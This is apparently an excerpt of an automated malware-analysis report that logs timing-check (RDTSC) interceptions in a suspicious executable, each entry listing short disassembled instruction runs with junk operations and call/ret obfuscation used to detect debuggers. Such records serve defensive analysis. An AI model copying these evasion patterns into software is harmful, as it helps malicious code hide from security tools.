Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B79C second address: 29B836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jno 00007F8080FFFC65h 0x00000011 pop eax 0x00000012 jmp 00007F8080FFFC62h 0x00000017 jp 00007F8080FFFC5Ch 0x0000001d push 00000003h 0x0000001f xor si, 0F87h 0x00000024 push 00000000h 0x00000026 mov di, 50E3h 0x0000002a push 00000003h 0x0000002c jnc 00007F8080FFFC5Eh 0x00000032 push 88FBE958h 0x00000037 pushad 0x00000038 push edx 0x00000039 push edx 0x0000003a pop edx 0x0000003b pop edx 0x0000003c jno 00007F8080FFFC58h 0x00000042 popad 0x00000043 xor dword ptr [esp], 48FBE958h 0x0000004a xor dword ptr [ebp+122D1B49h], esi 0x00000050 lea ebx, dword ptr [ebp+1245059Ch] 0x00000056 jg 00007F8080FFFC61h 0x0000005c jc 00007F8080FFFC5Bh 0x00000062 mov esi, 0E1549DBh 0x00000067 xchg eax, ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a push edi 0x0000006b pushad 0x0000006c popad 0x0000006d pop edi 0x0000006e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B836 second address: 29B83D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B882 second address: 29B89F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B89F second address: 29B931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F8080B8A778h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 xor ecx, 59A6EEC4h 0x0000002b pushad 0x0000002c mov ebx, 7A619ED5h 0x00000031 jmp 00007F8080B8A77Bh 0x00000036 popad 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F8080B8A778h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 add dword ptr [ebp+122D212Bh], ebx 0x00000059 call 00007F8080B8A779h 0x0000005e push eax 0x0000005f push edx 0x00000060 push ecx 0x00000061 jne 00007F8080B8A776h 0x00000067 pop ecx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B931 second address: 29B938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B938 second address: 29B961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F8080B8A788h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B961 second address: 29B965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B965 second address: 29B9F3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d jl 00007F8080B8A77Ah 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jne 00007F8080B8A79Bh 0x00000021 pop eax 0x00000022 mov dword ptr [ebp+122D1DF7h], eax 0x00000028 push 00000003h 0x0000002a mov edi, dword ptr [ebp+122D1884h] 0x00000030 mov dword ptr [ebp+122D200Dh], eax 0x00000036 push 00000000h 0x00000038 sub dword ptr [ebp+122D1D90h], ecx 0x0000003e push 00000003h 0x00000040 mov esi, dword ptr [ebp+122D2A37h] 0x00000046 call 00007F8080B8A779h 0x0000004b pushad 0x0000004c pushad 0x0000004d jmp 00007F8080B8A77Dh 0x00000052 jc 00007F8080B8A776h 0x00000058 popad 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B9F3 second address: 29B9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B9F7 second address: 29BA03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29BA03 second address: 29BA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080FFFC5Ah 0x00000009 popad 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnc 00007F8080FFFC5Eh 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29BA20 second address: 29BA5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [eax] 0x00000007 jmp 00007F8080B8A782h 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jo 00007F8080B8A799h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8080B8A787h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29BA5C second address: 29BA83 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8080FFFC56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b add dword ptr [ebp+122D1C41h], edi 0x00000011 lea ebx, dword ptr [ebp+124505A5h] 0x00000017 mov edx, 45F2D593h 0x0000001c mov dword ptr [ebp+122D20DCh], ecx 0x00000022 push eax 0x00000023 pushad 0x00000024 push ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29BAF0 second address: 29BAFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29BAFE second address: 29BB02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29BB02 second address: 29BBD0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007F8080B8A789h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F8080B8A778h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d call 00007F8080B8A784h 0x00000032 pop esi 0x00000033 push 00000000h 0x00000035 adc cx, 6B18h 0x0000003a mov dword ptr [ebp+122D212Bh], eax 0x00000040 call 00007F8080B8A779h 0x00000045 push edi 0x00000046 jmp 00007F8080B8A781h 0x0000004b pop edi 0x0000004c push eax 0x0000004d jmp 00007F8080B8A77Fh 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 jmp 00007F8080B8A789h 0x0000005b mov eax, dword ptr [eax] 0x0000005d jmp 00007F8080B8A781h 0x00000062 mov dword ptr [esp+04h], eax 0x00000066 pushad 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29BBD0 second address: 29BBD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29BBD9 second address: 29BC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F8080B8A778h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 mov edx, dword ptr [ebp+122D2D1Fh] 0x00000029 push 00000003h 0x0000002b movzx ecx, si 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D2E8Bh], eax 0x00000036 push 00000003h 0x00000038 adc esi, 204F8BF8h 0x0000003e push C94DAB5Ah 0x00000043 jmp 00007F8080B8A789h 0x00000048 xor dword ptr [esp], 094DAB5Ah 0x0000004f mov ecx, edi 0x00000051 lea ebx, dword ptr [ebp+124505B0h] 0x00000057 jl 00007F8080B8A77Ch 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push ecx 0x00000061 push esi 0x00000062 pop esi 0x00000063 pop ecx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28A51E second address: 28A53B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28A53B second address: 28A55E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F8080B8A77Eh 0x0000000c push edi 0x0000000d pop edi 0x0000000e js 00007F8080B8A776h 0x00000014 pushad 0x00000015 jns 00007F8080B8A776h 0x0000001b js 00007F8080B8A776h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2B978C second address: 2B9797 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2B98EF second address: 2B990F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8080B8A778h 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F8080B8A776h 0x00000018 jg 00007F8080B8A776h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2B9A53 second address: 2B9A59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2B9A59 second address: 2B9A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2B9D40 second address: 2B9D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8080FFFC56h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BA456 second address: 2BA45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BA45A second address: 2BA468 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F8080FFFC66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BA468 second address: 2BA498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A77Ah 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F8080B8A78Fh 0x00000012 jmp 00007F8080B8A789h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BA763 second address: 2BA77A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8080FFFC61h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BA77A second address: 2BA7B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A787h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jmp 00007F8080B8A77Fh 0x00000010 jns 00007F8080B8A776h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BA7B3 second address: 2BA7B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BA7B9 second address: 2BA7BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2AEAD1 second address: 2AEAD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BAE1F second address: 2BAE24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BAF57 second address: 2BAF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080FFFC5Fh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BAF6B second address: 2BAF7B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8080B8A782h 0x00000008 jp 00007F8080B8A776h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BB0AE second address: 2BB0C5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8080FFFC56h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BB0C5 second address: 2BB0D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BB0D0 second address: 2BB0ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8080FFFC68h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BB48B second address: 2BB49B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F8080B8A776h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 28C0F8 second address: 28C10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F8080FFFC5Dh 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C0923 second address: 2C0946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A780h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007F8080B8A776h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C0946 second address: 2C0961 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8080FFFC63h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BF7D7 second address: 2BF7E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F8080B8A778h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BFF9B second address: 2BFF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BFF9F second address: 2BFFC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8080B8A783h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2BFFC0 second address: 2BFFDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C55DE second address: 2C55F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A783h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C4E65 second address: 2C4EAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC63h 0x00000007 jmp 00007F8080FFFC5Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F8080FFFC62h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jg 00007F8080FFFC56h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C4EAB second address: 2C4EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F8080B8A776h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C5156 second address: 2C515C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C8C9F second address: 2C8CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C8CA5 second address: 2C8CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C8CAA second address: 2C8CB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C8EBC second address: 2C8EE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8080FFFC68h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C8EE0 second address: 2C8EE6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C9603 second address: 2C964A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8080FFFC63h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jno 00007F8080FFFC69h 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8080FFFC5Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C964A second address: 2C9654 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C9654 second address: 2C9664 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8080FFFC5Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C9B9E second address: 2C9BF9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8080B8A787h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F8080B8A778h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 adc edi, 62575A28h 0x0000002d mov si, 3A8Fh 0x00000031 xchg eax, ebx 0x00000032 ja 00007F8080B8A77Ah 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push esi 0x0000003c pop esi 0x0000003d pop eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2C9BF9 second address: 2C9BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CA193 second address: 2CA197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CA197 second address: 2CA19B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CAB21 second address: 2CAB27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CAB27 second address: 2CAB39 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jbe 00007F8080FFFC5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CAB39 second address: 2CAB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CAB40 second address: 2CAB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 nop 0x00000007 add dword ptr [ebp+122D1FEEh], edx 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F8080FFFC58h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 pushad 0x0000002a mov al, dh 0x0000002c adc edi, 2D637D0Ah 0x00000032 popad 0x00000033 mov dword ptr [ebp+122D1F9Fh], edi 0x00000039 push 00000000h 0x0000003b xor edi, 565CBD61h 0x00000041 xchg eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 jbe 00007F8080FFFC5Ch 0x0000004a jno 00007F8080FFFC56h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CB331 second address: 2CB335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CB335 second address: 2CB339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
